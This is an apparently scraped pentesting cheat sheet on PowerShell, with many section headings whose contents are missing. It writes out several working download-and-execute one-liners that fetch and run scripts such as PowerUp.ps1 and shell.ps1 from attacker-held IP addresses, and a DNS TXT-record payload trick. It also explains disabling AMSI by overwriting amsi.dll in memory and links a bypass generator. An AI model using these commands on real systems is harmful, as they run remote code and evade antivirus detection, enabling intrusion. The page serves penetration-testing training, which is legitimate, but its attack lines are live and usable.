Basic PowerShell For Windows
Basic PowerShell for Pentesters
Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershellBasic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>Download & Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]Download & Execute in background with AMSI Bypass
Using b64 from linux
Download
System.Net.WebClient
Invoke-WebRequest
Wget
BitsTransfer
Base64 Kali & EncodedCommand
Enable WinRM (Remote PS)
Disable Defender
AMSI bypass
** amsi.dll** is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/
PS-History
Get permissions
OS version and HotFixes
Environment
Other connected drives
Recycle Bin
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Domain Recon
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Users
Secure String to Plaintext
Or directly parsing form XML:
SUDO
Groups
Clipboard
Processes
Services
Password from secure string
Scheduled Tasks
Network
Interfaces
Firewall
Route
ARP
Hosts
Ping
SNMP
Converting the SDDL String into a Readable Format
Last updated